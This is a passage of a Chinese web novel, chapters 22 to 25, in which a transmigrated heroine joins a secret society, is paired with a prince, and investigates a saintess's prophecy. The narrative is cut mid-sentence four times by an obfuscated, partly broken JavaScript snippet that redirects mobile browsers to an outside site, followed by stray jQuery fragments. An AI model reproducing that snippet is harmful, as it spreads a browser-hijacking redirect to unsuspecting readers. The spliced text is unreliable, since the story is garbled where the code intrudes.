「求知,温善,进取,刚正,时机,理想,希望,攀登,坚韧。」比她还害怕丢失攻略进度的系统机关枪一样快速提示,为了节约时间甚至只说了关键词。
好的,反转一下。谁看上去贬义相关词比较明确……嗯,理想和空谈一般比较关联吧,然后还有刚正和顽固?但是前者的衍生措辞太多了,万一选错就不好了……
“固执,顽固,冥顽不灵一样守旧。”她咬着牙低声斥道,好像因为愤怒所以忍不住多骂几句似的,“如果能选一种根除,我会毫不犹豫指向它。”
接下来的半秒在沉默间拖得格外很长。
“好,我记住了。”披着斗篷的人影总算开口,叫她松了口气,“你正适合与钴尖晶一道……”
?现在吗,要找个袋子装吗?
“今天开始,你就是影耀会的黑欧泊了。”
噢,原来是代号搞这么奢华啊。她还以为变相发钱呢。
22. 第 22 章
为什么又是接头……
比起现在拿张报纸杵在草坪边,鬼鬼祟祟的,时不时瞥一眼经过的人群,期待一场心有灵犀的暗号对话,她宁愿回上周目无法无天——当帝国鹰犬虽然血淋淋的,但是很嚣张啊!
伊斯特坐在长椅上,有一搭没一搭地在心里抱怨。
这也太呆滞了。更呆滞的是要和她接头的人:看他们这个暗号——“这是今早的晨报吗?”“不,我昨天没看。”
她都不敢想象要是那人运气不好怎么办……把每个拿报纸的人挨个问过去吗?感觉像推销的。
这么问一圈下来,钴尖晶但凡是个内向型都能当场磨成粉。
在青草芳香中,吟游诗人的一曲结束。鲁特琴的弦乐仍有悠悠余响,伊斯特站起身,跟着人群一起鼓掌,凑热闹打赏了几枚铜币。
可能是缺什么想要什么吧,来这里这么久了,她对大自然的格外钟情依旧明显。
在这儿打发时间其实也不错嘛……她这么想着,仰躺回长椅上。
“摩根那小姐?”
伊斯特侧过头,被太阳映得眯起双眼。生理泪水模糊了的视野中,她看到逆光的高大人影,金发比晴天白日更加耀眼。
洛兰特露出一个友好的微笑:“下午好……我可以坐在这里吗?”
有你了下午才不好。在“不可以”、“当然不可以”和“Hell No”之间犹豫了一下,她还是稍微措了措辞:“……有什么事吗?”
他点了点头:“不会耽误您很久。”
“都这么说了,我还能拒绝吗?”伊斯特懒洋洋地伸手,把散搭在椅面上的衣角拨开,“请坐吧。”
骑士长在她身边轻轻坐了下来。可能是出宫的缘故,他今天一身常服,也没佩剑,发络被风吹得微微散了——倒是非常适合这个悠闲的午后。
“很抱歉打扰了,”洛兰特说话时,语调里那种温和而拘束的感觉依旧,“但我认为有个提醒必须被传达给您。”
“嗯哼?”她把头靠在椅背上,半闭着眼睛,发出一个疑问的音节。
“我听到了一些……令人担忧的消息。”遮蔽视觉之后,别的感官或许真的会更敏锐,因为她几乎可以听见身旁人吐字里,那带着紧张的气声,“关于您,以及与您共用姓氏的在朝大臣……有并非好意的举动正在进行。”
伊斯特依旧没睁开眼,开口时,语速因懒散而变慢,“说话委婉是门艺术的话,你都可以开个班了。”
骑士长严肃的句子几乎下一秒就追上来了:“请不要忽视这件事。”
“哦?那是谁在针对我们家呢?”
“如果属于我的职责范围,或者危害到潜在的性命安全,我自然可以干涉;但是倘若只是……”听上去是一个深思熟虑的停顿,“一次在宫廷中的偶然耳闻,那我无权透露这位殿下的名字……他言语的隐私权应当得到充分尊重。”
就差点瑟亚铎的名了。伊斯特听得笑出声来:“谢了,也是辛苦你专门跑一趟——”
她睁开眼睛的时候,没说完的半截单词生生断在那里。
“怎么了?您没事吧?”洛兰特被她的脸色吓了一跳,慌忙站了起来。
伊斯特没说话。她的视线紧紧盯着那个草编环——随着男人的动作,它从半空中坠下,落到了地上。
隔了好几秒,她才起身缓缓开口。
“……这是什么?”
“我不知道,就是随手编的,”洛兰特被她的神情感染得慎重起来,“这儿不是正好有草吗,和您说话的时候我就——”
伊斯特不耐烦地打断了他:“你不会。”
“我什么?”他有点迷茫地眨了眨眼,“我不会……?”
“你不会编这个。”她冷笑着,语速快得切金断玉,“你没有童年,后来也从来没人有闲心跟你说过草编环。况且,就算有……”
伊斯特俯下身,用两根手指拎起那团不知所措的草,点了点中间一个洞,“这个地方留出来,是因为数据线的扎带一般在这里。”
她抬起头,盯着洛兰特的眼睛,“你知道数据线是什么吗?”
男人发懵地摇了摇头。
“你当然不知道!”伊斯特尖酸地反问,“你为什么会知道?”
……那是一周目里她教他的。
某个午后,结束了剑术训练后,他们也这样坐在草坪边。在碧蓝的天空下,她顺手拔了几根草,一边谈笑,一边飞快地编出了一个环结,塞到身旁人的手心里。
“简直是不可思议,”当时的洛兰特感叹道,语气没必要地真挚,好像她徒手变出了一个人,“你手太巧了。”
“就是一个小玩意儿,至于吗?”当时的她笑着调侃,“你想学的话也就五分钟的事。”
……
现在的伊斯特猛地后退几步。
“我还有事,不送了。”她生硬地赶人。
“您……”
“我说不送了!”
她没控制音量,嘶喊打破了乐声。离得近的人群对二人侧目而视,伊斯特浑然不觉。
「宿主,这是不是代表他记得一周目——」
「闭嘴!」
胸膛剧烈起伏之下,连她脑海里的咬字都带上了怒意:「你在问我吗?你还有脸问我!为什么他会有这种反应?我每次死后到底是怎么回事?现在又是什么问题?重来的时候没删干净?」
然后,伊斯特突然沉默了。
“等等。”
几步之外的洛兰特迅速凑了回来。
很明显,出于对她异常反应的担忧,他不想就这么离开,但又只好听话,刚刚的几秒简直是一步三回头;此刻一被叫住,那双蓝眼睛都亮了。
“我要见曼德琳。”
“您要……什么?”洛兰特费力理解她的话的样子,就好像是忘带翻译器的外星人,“您是指皇后陛下……?”
“对,我要。”瞎话张口就来已经算是伊斯特的特长了,“我和霍尔家的小姐是好友,希望借这层关系请曼……皇后斡旋这件事。”
“我,我不能……您……我……好吧,您明天…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886443|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
…”
「为什么?」系统在她脑子里恨铁不成钢地质问,「曼德琳又没用了!你都成功过一次了!」
伊斯特没理他,也没理它。
「等等,你不会在想我想的那件事吧?」
伊斯特欣赏起蓝天白云,已经过了约定的时间段,她非常肯定钴尖晶不会出现了。
「你怀疑他们都有以前的印象,但是你不敢直接去找汤珀森,因为希望越大失望越大?!」系统气得尖叫起来,「你能再不务正业一点吗——」
“就这么定了,”她面无表情地出声,截断了洛兰特未出口的繁复顾虑和劝说,“我明天来找你,你带我进宫。”
*
即使明天达摩克利斯之剑就会落下,叫她再次得到一睹天光的希望,今天的事也必须进行。
汇报接头失败,一是因为她的求知欲作祟,对钴尖晶的出尔反尔感到不解;二是因为她不想让影耀会起了疑心——她确实离可能的幸福只有半步,但被隐秘组织质疑泄密的话,估计活不到下一日。
“钴尖晶从头到尾就没出现过,你们确定她或他不是死了吗?”
拉长石——进组织之后就互通代号了,她总算不用接着称呼对面的女人为考官女士——平静地打断她,递过来一张纸。
“我带着口信前来。鉴于此次的不顺,你们会在明日深夜相聚。钟声敲响十一下时,你们会如约相见,于马文街月光下的小巷。”
说话还是写诗啊?
伊斯特展开信纸,上面是格式规整的印刷体文字。
【亲爱的志同道合者:
很抱歉,我没有在约定的时间现身。因为当我抵达那个地方之后,看到一个十分值得警惕的对象。贸然行动可能会导致你我身份败露,甚至破坏计划。
我已经向尊主提出请求,为我们再次约定时间,在一个更加安全的僻静地点见面。
直到那时不见不散。
带着歉意的,
钴尖晶】
拉长石没给她提出问题的机会,接着沉声说了下去:“在那之后,你们就是一体的了。不得对对方有所隐瞒,不得私自联络上级。所有决定和行动,也被视作你们的共同进退。”
哈哈可能吧。她倒要看看尸体怎么和她共进退。
“在执行任务的过程中,我们不在乎具体细节,只需要成功。不管你需要什么:财物,信息,谁死,谁开口,或者谁闭上嘴,只要把消息传过来,影耀会将处理好一切。”
太方便了,甚至不用写报销单!虽然被发现了也不是丢工作而是丢命就是了……
“你们的任务,很简单——原定由钴尖晶代为传达给你,但经此一事,或许反过来更好。”
同事掉链子了组长落她头上了呗。
“你们都知道帝国在对七日前的袭击事件展开调查,由教廷主导……”
说到这儿,伊斯特已经猜到了对方的后半句话。
天上果然不可能掉馅饼啊!
“——而你们要让这场调查无功而返。”
23. 第 23 章
很多时候,知道内情与否,会让你对同一幕景象的观感产生翻天覆地的变化。
曼德琳垂着眼时,常人看来不知所措:无论如何试图探明她的态度,都只撞上那双石墙般内敛冷淡般的眼,一无所获。
伊斯特望着她,几乎能目睹过去炽热明亮的感情如何压抑,如何熄灭,最终如同死物,沉沉封入那片琥珀色中。
曼德琳勾起抹着暗红膏彩的唇角时,常人或许惶恐不已,在深重的权势前俯首称臣,不敢冒任何叫她动怒的风险。
伊斯特喉咙里好像哽了一声叹息,上不去下不来,伴着回忆里女人又哭又笑间自嘲的狠意,沉甸甸地缠在心头。
说来也奇怪,牵起曼德琳的手,已经不只是上辈子前的事了,那片的触感却隐约不散:裹着死气的薄薄肌肤如何活泛起来,在隆隆搏动中,叫天地震得为之心惊。在黯淡晨昏间,一簇暖焰蓬勃燃烧的景象,好像只在昨天。
她一直把这一切当一场游戏的平行分支,不以为意地把走过的线路抛之脑后。但就在和女人对上眼神的那一刻,在陌生的打量中,伊斯特突然被一个问题打上心头,冲淡了些平日的随性。
曼德琳曾经拥有过一个happy ending,然后她毫不犹豫地抽身离去了。
在她离开之后,发生了什么?
「当然是为了方便您继续攻略任务而重启了。」讨人厌的电子音冒了出来,「宿主,我请求你,我们能不能回归攻略任务,而不是在这里浪费时间?」
「你急什么?时间对你来说有意义吗?」
系统不说话了。
“你要沉默到什么时候?”
曼德琳不耐烦地开口了,“看在杰奎琳的份上,你还有三秒钟。”
“您不认识我。”
女人从嗓子里冷笑一声:“所以呢?”
“一点印象都没有。”
“时间到了,出去。”
在她转身开门的时候,熟悉又陌生的嗓音渐渐远去:“……这是我见过最拙劣的套近乎。”
往好的方面想,至少她的短期规划和长期规划都不用改。伊斯特这么想着,简直带着几分解脱地径直离开宫殿。
至于洛兰特,鬼知道这人怎么回事,可能只是有癫痫吧。
她一边腹诽面前领路的人形门禁,一边处理自己的思路,试图人为把“汤珀森”这个概念删掉。删到百分之七十左右,被人打断了。
伊斯特不耐烦地抬起头,发现声音来源处站着一个眼熟的讨厌人影。
瑟亚铎似笑非笑地站在他们的必经之路,斗篷投下的阴影截断了走廊;他微微眯着眼睛,神情活像个得势小人。
她没忍住,眼白在厌烦下沉沉一翻。
“擅闯宫廷,蔑视皇权——”很明显瑟亚铎是个抓到对头错处就会往死里掐的人,因为此刻他每个音节都比平时拖长了三成,“还有知法犯法,严重渎职——要我说,你们俩都要倒大霉了。”
伊斯特无语笑了。
“说完了吗?说完了让一下谢谢,挡我路了。”
“你装得挺不在乎嘛……”
她的耐心到这里就耗尽了——随时可以重新开始的情况下,有什么必要忍气吞声?伊斯特语气礼貌地出声打断:“你倒是在乎得要死,无人在意的童年是过分没事找事的诱因之一,我严重怀疑前者并且建议你找个心理医生好好看看。”
“你——”
吵架的时候千万不要说“你”之后停顿一下,因为每个有经验的人都会回以“我什么我?”,把话头狠狠打回去。伊斯特正准备这么做,被身边的人拦住了。
“都是我的错,”洛兰特从来没把话说得这么干脆过,“摩根那小姐什么都没要求,我主动提出带她进来的。”
在任何人有机会把这句话接下去之前,伊斯特忍无可忍地骂出声了:
“差不多得了!”
就等着来高高兴兴自我牺牲是吧?她才不要当这人自我感动的途径!
或许是看她情绪有激烈化的倾向,另外两个人都一时间安静下来了。
她深呼吸了两下,“……杰奎琳托我来送口信,所以不是擅闯。让你失望了,真不好意思啊。”
“多好的借口!”瑟亚铎故作夸张地感叹道,“就好像真是这样!”
“那你去找皇后求证吧。”伊斯特一脸无所谓。
“我看你倒是——理解错了,这事的关键不在于这些琐碎的细节;而在于我讨厌你,连带着不喜欢朝中和你一个姓氏的大臣。”
瑟亚铎说着,慢悠悠地笑了笑:“我今天不拆穿你,不代表一周之内你不会失去头衔变成平民。好自为之吧……再会。”
她目送一天到晚没个正事就知道给人添堵的家伙远去了。
洛兰特看上去比她急多了。“但愿您刚刚达成了目的,皇后陛下同意出面斡旋。”他犹豫一息,“……您说谎了。”
“多新鲜呐。”
“他要是真的查证……”
她就读档回去给瑟亚铎的咖啡下毒。
*
你活着有没有片刻会思考这个问题?
如果你的生活只是一部剧集,你的此时此刻正作为一幕画面为人所观看呢?那样的话可以解释很多诡异的情节,或者拙劣的巧合,不是吗?
伊斯特以前玩超梦的时候想过这点:她死后要是大脑被人回收,就会有人经历她的经历,体验她的体验。这不是很恐怖吗?这么想着,她当时毫不犹豫地拒绝了授权签名。
她很久没思考过这个话题了,直到现在。
石墙裹着夜晚的寒意,被厚绒斗篷消融了大半,依旧隐隐传来发麻的硌感,让靠在它上面的伊斯特不太舒服。
在因为等待而体感更漫长的时间流逝中,她不禁思考:如果她的人生是什么戏作家写好的剧本,接头这种无聊的事最近发生频率有些高了,一定会让观众感到无聊的。
闲着也是闲着,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886444|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她把那位尊主给她的入会礼物又看了一遍——标准到没人味的花体字,在用丝带捆住的羊皮纸上洋洋洒洒地溢开一整篇教义——递给她的时候,拉长石把“这是莫大的荣幸”说了两遍,恨不得直接把郑重感塞进她的脑子里,让她一齐打包带走。
【世间有九种罪恶,披着光明的伪装,致人堕落:】
【第一种乃是孤独。无人可信,无人可依。】
【第二种乃是平庸。泯然众人,无有所长。】
【第三种乃是嫉怒。愤世嫉俗,恨优越者。】
【第四种乃是顽固。守旧无能,僵化固执。】
【第五种乃是疯狂。赌性大盛,孤注一掷。】
【第六种乃是傲慢。自以为是,漠视实际。】
【第七种乃是无助。求而不得,困于现实。】
【第八种乃是残酷。不择手段,践尸踏骨。】
【第九种乃是麻木。沉沦不仁,苟且短视。】
【我等居于影中,根除此些恶行,世界方得以重耀。】
……好标准的隐秘组织信条啊!
这时,响动声由远及近,在余光中,一个同样一身漆黑的人影从巷子尽头走来。
总算啊。伊斯特一收卷轴,微微仰起头,在被兜帽挡得朦胧的视野中,打量起这位钴尖晶:姑且算得上高挑的身形,遮得严严实实的打扮,举手投足间仍有掩盖不住的合拍优韵,好像被礼节熏到骨子里了。
她知道对方同样在观察她,也没回避视线,只是懒洋洋地抬手挥了挥。
随着鞋跟放轻了的踏地声,钴尖晶走来她身边,同她一般,躲入石墙的阴影下,微微凑近了。
压低了的、耳语般的嗓音从兜帽下轻声送来:
“很荣幸总算见到你。”听得出是个青年,大概率是男性,呼吸相染的距离下,词句比月光更静谧,“从今天开始,我们就要共事了。”
“一样。”不知道为什么,伊斯特感觉此情此景特别适合点一根烟,可惜没有,“我们以后都要这样遮遮掩掩的吗?还是说?”
“既然尊主认为我们合适,那我们应该无条件信任对方。”钴尖晶咬字轻柔又认真,带着一种刻意为之的含混,“只是我的身份越少人知道越好……我可以信任你吗?”
嘴上说说又不花钱。
“当然,”她伸出手,“与你并肩根除顽固腐化……我们一同闪耀。”
听声音,对方轻轻松了口气,好像只要真心吟诵这几句教义就能得到他的全权信任一样。
“我们一同闪耀,姐妹。”钴尖晶把手搭了上来,纤长的五指在她掌心一划而过。
用另一只手,他在阴影中摘下了兜帽。
夜晚的光影下,披散的发丝被染上了一层淡银辉泽。那双雪松般的眼睛显得更加清冷,好像它本该如此,被如同遥远森林间的孤月照着。
月光映亮了瑟亚铎·墨罗温的脸。
伊斯特一下子“啊?”出声来。
24. 第 24 章
不是都说失去有五个阶段吗?否定,愤怒,讨价还价,抑郁,以及接受。
带着这个建模去看,接下来发生的事还挺清楚的。
在她也摘下兜帽之后,僻静的小巷里,先是响起一阵惊慌失措的“怎么是你?”“我还想问呢!你在这里干什么!”,然后是“你现在重复之前的接头暗号!”“该满怀疑虑的是我才对吧?”的互相质疑,紧接着是绝望的长长叹息和“怎么会是她啊”的小声抱怨……最后,他们陷入了尴尬的沉默中。
“既然被分到一起了,”瑟亚铎勉强找回语言功能,修修补补地摆出来的时候的姿态,“那我们就要通力合作。”
“不叫我姐妹了?”
“不要,得寸,进尺。”他一词一顿地从牙缝里挤出回答,“我一点都不想问你这种人为什么会被认为适合做我的搭档。”
伊斯特乐了:“我?我这种人?这位殿下,”她把头衔咬得格外重,“您倒是显得不该出现在这里啊。”
瑟亚铎拉上兜帽,脸偏向一侧,盯着石墙闷闷地开口:“……我用不着向你解释。”
“怎么,皇室生活哪里不符合您的心意吗?自己造自己的反?谁让您受这么大委屈啊?不会吧,难道是今早佣人倒茶的时候糖加少了——”
她从来没见瑟亚铎这么生气过。
青年猛地抬起头怒视着她,用力得眼眶都有些变形了。他的眼睛里像有怒焰在闪,双唇在血涌下剧烈发颤。
在一句很好预测的“你怎么敢”之前,由远及近的脚步声打断了他们。
即使气得脸上已经没有多少血色,瑟亚铎还是面色一白。他一把拽住伊斯特的手腕,仓皇地往后退几步,指尖搭上双唇,未出口的话变成一个噤声的手势。
两人一起躲在凸起石头后的遮蔽处,不约而同地放轻了呼吸。
守夜人提着明灯,一步步走近了,烛光把地上的影子轮廓染得微微扭曲起来。
脚步声停下了。
亮光连带着影子,摇了一摇,好像它的主人在犹豫要不要走进深巷。
伊斯特没移开眼睛,手慢慢往腰间伸,悄无声息地搭上握柄。冷光在遮蔽处一闪,她随身携带的匕首已经出鞘半截。
有人抓住了她的手。瑟亚铎盯着她的动作,几乎是下意识地试图阻止。他被冰凉的金属触感打得一缩,但仍然牢牢地按着她的手腕,小幅度摇了摇头。
这点力气她不需要费什么事就能挣开。伊斯特侧过头,斜瞥身旁的青年,露出一个冷而厌烦的微笑。
她没松开匕首,逐个音节地比口型:“放着我来。”
瑟亚铎双唇紧闭,对着她锐利的视线,坚定地再次摇头。
脚步声又动了起来。
紧挨在她身旁的人脸色雪白,呼吸之间带上紧张的颤意,眼神快速漂移,好像在思考对策。但不等他们做什么,烛光和守夜人一起远去了。
两人不约而同地长出一口气。
“再有下次,我就把你和他一起杀了。”伊斯特温柔地提醒道,“为什么拦我?”
“……根本就不必到杀人这一步。”
“搭档不就是这个意思吗?互相做脏活?”
她说着,手里的利器没有收回去,眼神直白地扫过对方的颈动脉,毫不避讳自己的想法。
“你以为上面的人把我分给你什么打算?我可以接受替你善后,照顾一个什么都不懂的废物;但别再在我做实事的时候拖累我,否则……”
匕首刃尖的指向替她说完了后半句。
瑟亚铎是个怕死的人,她一直知道这点。所以他不仅没有退缩,甚至咬字坚决地回答时,确实很让人吃惊。
“谋害一个无辜的路人,为什么会叫实事?他和你我一样都是帝国子民!”
“我……你……等等,”伊斯特想了想,觉得这件事只有一个解释,“你在开玩笑,对吧?”
“?”
哪怕面前这家伙脸上长出了海葵,海葵还挥着附肢和她招手问好,她都未必会比现在费解。伊斯特再开口的时候,语速就像一个费劲理解这门语言的外乡人:“你……你知道我们加入的是一个反帝国组织对吧?”
“你的口气像教廷,”他冷冷地指出,“而不是我们的姐妹。”
“我的口气像一个有理解能力的正常人。”她语气不善地把话打了回去,“‘在影中’的譬喻意象你是哪里听不懂?这么在乎手上沾血还能做成什么?”
“你在混淆目的和手段。不择手段会逐步牺牲目标的正当性,就算取得成功也毫无意义。”
伊斯特真的被惊到了。
“目的……”她重复了一遍对方的吐词,震撼得合不拢嘴,“你竟然真的是为了……”
“居于影中,根除恶行,留下的不就是更纯净的帝国了?”瑟亚铎看上去甚至不太明白她在迷茫什么,“你不是这么想的?”
“我只是单纯的讨厌罪恶不行吗。”伊斯特心不在焉地反驳。
原来真有人加入邪教是为了让世界更美好啊……
怪不得他好好的皇子不当,跑来干隐秘组织。她大概看懂了瑟亚铎的动机……但是就她理解的部分而言,也十分荒谬:让人不知道管这叫亲力亲为,还是叫异想天开。
这傻子疯了吧。
伊斯特斟酌着开口:“你真的觉得你能……产生影响吗?以你披着个破斗篷在这里忙活的一己之力?”
瑟亚铎讶异地看了她一眼,“你不是我的搭档吗?”
这是重点吗。“和一千比起来,是一还是二有区别吗?”
“对我来说有,对你来说有,对有幸被我们影响到的人来说,自然也有。”青年理所当然地说,“只要一直努力,总归会越来越好的。”
……原来是个脑子有问题的理想主义者吗!
*
伊斯特垂着眼睛,目光快速扫过一卷又一卷用人记录。
纸上的内容条理清晰,面面俱到;一眼望去,不仅挑不出错处,还细致合理得让人颇为赞叹。
这么看来,奥妮克丝不仅大权在握、亲力亲为,在管理层面上,能力也算得上出类拔萃了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886445|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
却偏偏顶着个“圣女”的无害名头?真有意思。她这么想着,对桌子那头闲聊一般开口:“说起来,为什么之前都是教皇,到你这辈称谓就变了呢?”
这一次她们立场不再对立,奥妮克丝的回答果然更详细了。
“我并不算正统候选人,也未曾设想过走上这条路,只待遵循安排成为修士罢了。直到十五年前那个冬获节。”
圣女说着,雾蓝的视线照到她身上,“你应该有印象?”
“对,那次确实难忘。”伊斯特脸不红心不跳地张口胡说。
“那你应该记得,当时陛下有令,全国未成年的子民都有资格被拣选,进入宫廷一日,蒙受恩泽,共庆年末。”
奥妮克丝的遣词造句带着典型的宗教特征,但又不至过于繁琐,和本人一样:疏离而柔和,客观且平静。
就当她记得吧,“然后呢?”
“切切实实的举国共庆。我还记得那群孩子出身如何多样:官宦、贵族、平民……甚至有一两个自贫民窟而来。这样隆重的庆典,没有一个人忘得了。”
“那你呢?你当时在做什么?”
“自然是身为一名神学生,协助教廷。”奥妮克丝微笑了一下,像水面上晃过半片云影,“说得好听,其实只是些简单的任务,比如统计数量,发放物资什么的。”
“要是没人照顾这些细节,活动也举办不起来嘛。”
“谢谢。不过这不是重点……”
随着字句流淌,奥妮克丝嗓音不知不觉间放轻了,好像一个受到启示的祭司,“那天,是我第一次’看见未来‘。”
伊斯特喝了口茶,把质疑一同咽了下去。
“在恍惚中我看见地面震动,砖瓦裂开。”圣女平静地叙述道,“我拦住先任冕下,磕天抢地,以性命起誓,几乎把嗓子说哑了。”
“他竟然相信了你?似乎有些反常识。”
“先任教皇兼听则明,更重要的是,格外擅长看人。或许是意识到我不在说谎,谨慎起见,他谏言众人前往空旷地带赏雪,而非居于室内。”
“哇,运气真好。”
“看做帝国之幸吧。不出片刻,我目睹的未来如期上演。那是场少见规模的自然灾害,但得益于及时撤离,只有伤者,没有亡者。”
“怪不得,你字面意思上地救了在场所有人的命。”
“是预兆救了所有人,而我只是得到一瞥。”奥妮克丝语气不变,“自那之后,教皇开始把我作为继承人培养。”
“精彩的故事和谦逊的结尾,想必你讲过很多次了。”伊斯特笑眯眯地鼓掌,“我只有一个问题……”
她眨了眨眼,意味深长地停顿了一下,“——你真的看见了?”
奥妮克丝没有被冒犯到,相反,很是包容地笑了笑:“我那时才九岁。”
“智谋和年龄没有必然关系。”
“你对我的期待过高了,”圣女淡淡地抬起眼,望向她,“很遗憾,没有你想象中有趣……”
奥妮克丝微笑着:“只是一睹天命罢了。”
25. 第 25 章
“你要这个做什么?它叫’皇家图书馆‘是有原因的,你能不能仔细阅读一下这个定语?别说所有借阅都要登记了,除了皇室,连因故需要查阅书卷的官员都要先申请,才有资格进去。”
“所以你可以进去。”
瑟亚铎敏锐地察觉到了她的言外之意:“我才不会把权限给你!”
“那你去给我弄个官位,再批我的查阅申请。三天之内搞定的话,这种方法我也接受。”
“想都别想!我死都不会让你这种人染指朝政,”他咬牙切齿地拒绝,“就好像现任这群官员还不够腐坏一样。”
“我没空听你的政治抱负,快点,”伊斯特摊开手,掌心朝上,“令牌拿来。”
“别做梦了。”
“任务所需,我要去查奥妮克丝,从她下手。”
青年警觉地盯住了她的脸,好像试图寻找说谎的蛛丝马迹:“为什么不是我查完回来告诉你?”
“是谁刚刚说的要留下书面记录?你想被记录在案查现任圣女的话,我一句话没有,你去吧。”
“你去也同样要登记……”瑟亚铎怔了一下,“你在保护我吗?”
太好了,她露出一个这么明显的逻辑漏洞,他果然没放过。
这时候承认了反而起反作用,伊斯特故作不满地扭过头,希望瑟亚铎能体会到这段浮夸演技所表现出的心虚感:“……当然不是。”
“不是你自己说的吗,你的身份越少人知道越好……”她声音越说越轻,“我只是按照你的逻辑,维护我们的共同利益。”
作为一个第一次接头就把“无条件信任对方”这种期许挂在嘴边的傻子,瑟亚铎不吃这套才有鬼了。
再把视线移回去的时候,她果然对上了青年不知所措的双眼:雪松般的绿色好像被雨打湿了,顾盼生辉之间,隐隐透出惊讶的亮芒。
先推再拉,会显得拉回来的距离格外远呢。
“……你小心点,”他从腰间取出一块镶宝石的银牌,塞到她手里的时候,指尖不小心擦过她手心的肌肤,导致出口的讽刺在一磕绊间软化了,“你、你要是蠢到被人发现什么反常举动,会连带着我也不好解释。”
别担心,被发现了第一个就把你卖了。
伊斯特强忍着没笑出声来,接过了让她能在全皇宫畅通无阻的通行证。
靠着这东西,她轻轻松松地踏进了皇家图书馆的大门。
这里四壁立着直达天花板的深色樱桃木书架。书脊由皮革装帧,烫金的标题在幽暗中闪着微光。羊皮纸、旧墨水与木质混合的气息,静静逸散于空气之中。
中央摆放着几张厚重的阅读长桌,桌檐雕刻着藤蔓花纹,羽毛笔整齐地搁在银质笔架上。几把高背绒面扶手椅静置于桌旁,仿佛在等待永远不会把它们坐满的访客。
伊斯特对着入库索引,慢悠悠地走到了标有“教廷”、“神迹”那几个书架前。
她压根不是来做影耀会任务的。
所有能招供的人都当场自尽了,一点线索都没有,负责人的目标是找出教廷内部的叛徒——不用他们怎么努力,这调查自己就会无功而返。
她严重怀疑,招募她入会只是看在她和奥妮克丝走得近——今天能确保内部调查没进度,明天就能给教廷来点小小的泄密震撼。
但这关她什么事?这周目攻略结束她转头就走了,下辈子注意不趟这趟浑水。
不过,来时的话也不算完全骗人:她确实是来查奥妮克丝的。
说来可能有些讽刺,不过作为一个穿越者,伊斯特对超自然现象的接受度,简直低得离谱。
一个活先知?世上哪有这么轻巧的事。
诚然,奥妮克丝的故事无可挑剔——初次登场是预言地震,确实很有力度;要是能伪造自然灾害,也不用假装先知了。
但一把无限射程、可以穿墙的枪可以解释所有枪击案,这难道代表它真的存在吗?
悲观一点,要是奥妮克丝真是那个“正确的攻略对象”,那她或早或晚要下功夫去钻研这个人的……就算不是,了解一下怎么装神弄鬼、弄虚作假,或者了解一下这个世界可能存在的魔法,对她也没有坏处。
她翻开书页,默读起七年前的记录:
【源年一六七三春,时任教皇安刻病终,享年五十二岁。四月,宫廷事务由西兰代掌,宗教礼拜由奥妮克丝代掌。同年夏,奥妮克丝接手教廷。】
她都能感受到记录者写最后一句话时的遗憾之情——分裂的教廷肯定让帝国特别有安全感。
算一下年份,是七年前的事。这个西兰是谁?看上去完全是权斗失败……权斗输给一个没背景的未成年吗,菜啊!她是西兰她就一把火烧了自己。
正在心里评论的时候,她突然察觉到身后有人。
伊斯特放下册子,转头望去,惊讶地看到了自己的攻略对象之一。
珈黛利亚抱着几本书,正穿梭于书架之间,见到她,停下了脚步,好像没想到会碰到生人。
比起之前的遥遥一瞥,她们这次距离近得多。相隔数米之下,伊斯特总算好好打量了一次这位任务目标。
柠色长发松松编梳成一个麻花辫,被浅紫缎带束起,搭在一侧胸前。小公主的眼睛像尚未盛放的紫罗兰,沉静文雅,望之心生宁和,又叫人隐约期盼起未来的光彩。
太赞了,一看就比瑟亚铎性格好!
伊斯特挥了挥手,很自然地开启了对话:
“下午好。”
珈黛利亚轻轻一颔首:“午安。”
“今天天气真不错对吧,是看书的好时候。”她说着,带笑地走近两步,侧过头去看对方手上书的封面,“你在看什么?”
有半秒沉默——既不长至尴尬,又不短至没把主人的意思传递明白。
接着,珈黛利亚露出一个微笑,不着痕迹地后退半步。
“不好意思,我们很熟吗?”
伊斯特脸上的笑容真挚了些。
「太好了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886446|192025||http|test|mini|href|location''.split(''|''),0,{}));
() {
